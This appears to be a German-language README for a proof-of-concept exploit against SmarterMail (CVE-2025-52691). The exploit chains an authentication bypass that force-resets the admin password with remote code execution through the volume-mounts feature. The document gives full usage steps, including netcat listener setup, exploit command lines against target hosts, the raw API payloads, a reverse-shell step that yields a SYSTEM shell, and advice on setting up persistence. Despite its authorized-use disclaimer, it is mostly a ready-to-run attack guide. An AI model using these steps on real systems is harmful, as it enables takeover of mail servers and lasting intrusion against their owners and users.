
CVE-2025-52691 PoC: Basiert auf dem Artikel von watchtowr WT-2026-0001 über einen Authentifizierungs-Bypass-Exploit. Dies ist ein funktionales Python-Angriffsskript.
Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bestimmt!
Dieser Exploit kombiniert zwei kritische Schwachstellen in SmarterMail:
https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
Der Exploit führt einen 3-Phasen-Angriff durch:
Phase 1: Authentifizierungsumgehung via WT-2026-0001
Phase 2: Admin-Anmeldung mit neuem Passwort
Phase 3: RCE über die Volume-Mounts-Funktionalität
# Install Python 3 (if not available)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip
# macOS
brew install python3
# Windows (WSL)
wsl --install
# Install netcat
# Ubuntu/Debian
sudo apt install netcat
# macOS
brew install netcat
# Windows (WSL)
sudo apt install netcat-traditional
# Python dependencies (if needed)
pip3 install requests
# Make executable
chmod +x run_exploit.sh
# Automated setup
./run_exploit.sh --auto
# Or interactive setup
./run_exploit.sh
# Setup listener (in one terminal)
nc -lvnp 4444
# Run exploit (in a second terminal)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H http://192.168.1.100 \
-P 9998 \
-A 192.168.1.50 \
-p 4444 \
-d \
--admin-username admin \
--new-password "MySecurePassword123!"
Zielidentifizierung
# Check target host
curl -I http://192.168.1.100:9998
# Identify SmarterMail version
# (Usually in login page or HTTP headers)
Listener-Einrichtung
# In Terminal 1: Start listener
nc -lvnp 4444
# The listener must be running before the exploit is executed
Netzwerkvalidierung
# Ensure connection between attacker and target is possible
ping 192.168.1.100
nc -zv 192.168.1.100 9998
# With the runner script (recommended)
./run_exploit.sh
# Or directly with Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
Shell-Verbindung
# In the listener terminal, a connection should now appear
# You should have a SYSTEM shell
Zugriff überprüfen
# In the obtained shell
whoami
hostname
ipconfig /all # Windows
ifconfig # Linux
Dauerhafter Zugriff
# Optional: Set up persistence
# Windows: Install as service
# Linux: Cron job or systemd service
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H https://mail.company.com \
-P 443 \
-A 10.0.0.1 \
-p 8080 \
--admin-username administrator \
--new-password "ComplexPassword123!@#"
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
./run_exploit.sh --auto
Endpunkt: POST /api/v1/auth/force-reset-password
Payload:
{
"IsSysAdmin": "true",
"OldPassword": "dummy",
"Username": "admin",
"NewPassword": "NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"
}
Erfolgsantwort:
{
"success": true,
"resultCode": 200,
"debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}
Endpunkt: POST /api/v1/auth/login
Payload:
{
"username": "admin",
"password": "NewPassword123!@#"
}
Endpunkt: POST /api/v1/settings/volume-mounts
Payload:
{
"name": "random_volume_name",
"path": "C:\\Temp\\random_volume_name",
"command": "powershell reverse shell command",
"enabled": true,
"type": "command"
}
# Error: "Connection refused"
# Solution: Check firewall and open port
sudo ufw allow 9998
# Error: "Connection failed"
# Solution: Check listener setup
nc -lvnp 4444
# Error: "Login failed"
# Solution: Check target version (must be vulnerable)
# Error: "Volume mount creation failed"
# Solution: Check admin privileges, target system
Aktivieren Sie den Debug-Modus für detaillierte Ausgabe:
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
⚠️ Denken Sie daran: Mit großer Macht kommt große Verantwortung!
| Parameter | Beschreibung | Standardwert |
|---|
-H, --host | Zielhost (erforderlich) | - |
-P, --port | Zielport | 9998 |
-A, --attacker-ip | Angreifer-IP für Reverse Shell (erforderlich) | - |
-p, --attacker-port | Angreifer-Port für Reverse Shell (erforderlich) | - |
-d, --debug | Debug-Modus aktivieren | False |
--admin-username | Admin-Benutzername | admin |
--new-password | Neues Admin-Passwort | NewPassword123!@# |
| Parameter | Beschreibung |
|---|
-t, --target | Zielhost |
-p, --port | Zielport |
-a, --attacker-ip | Angreifer-IP |
-l, --listener-port | Listener-Port |
-n, --new-password | Neues Admin-Passwort |
-u, --admin-user | Admin-Benutzername |
-d, --debug | Debug-Modus |
--auto | Automatisierter Modus |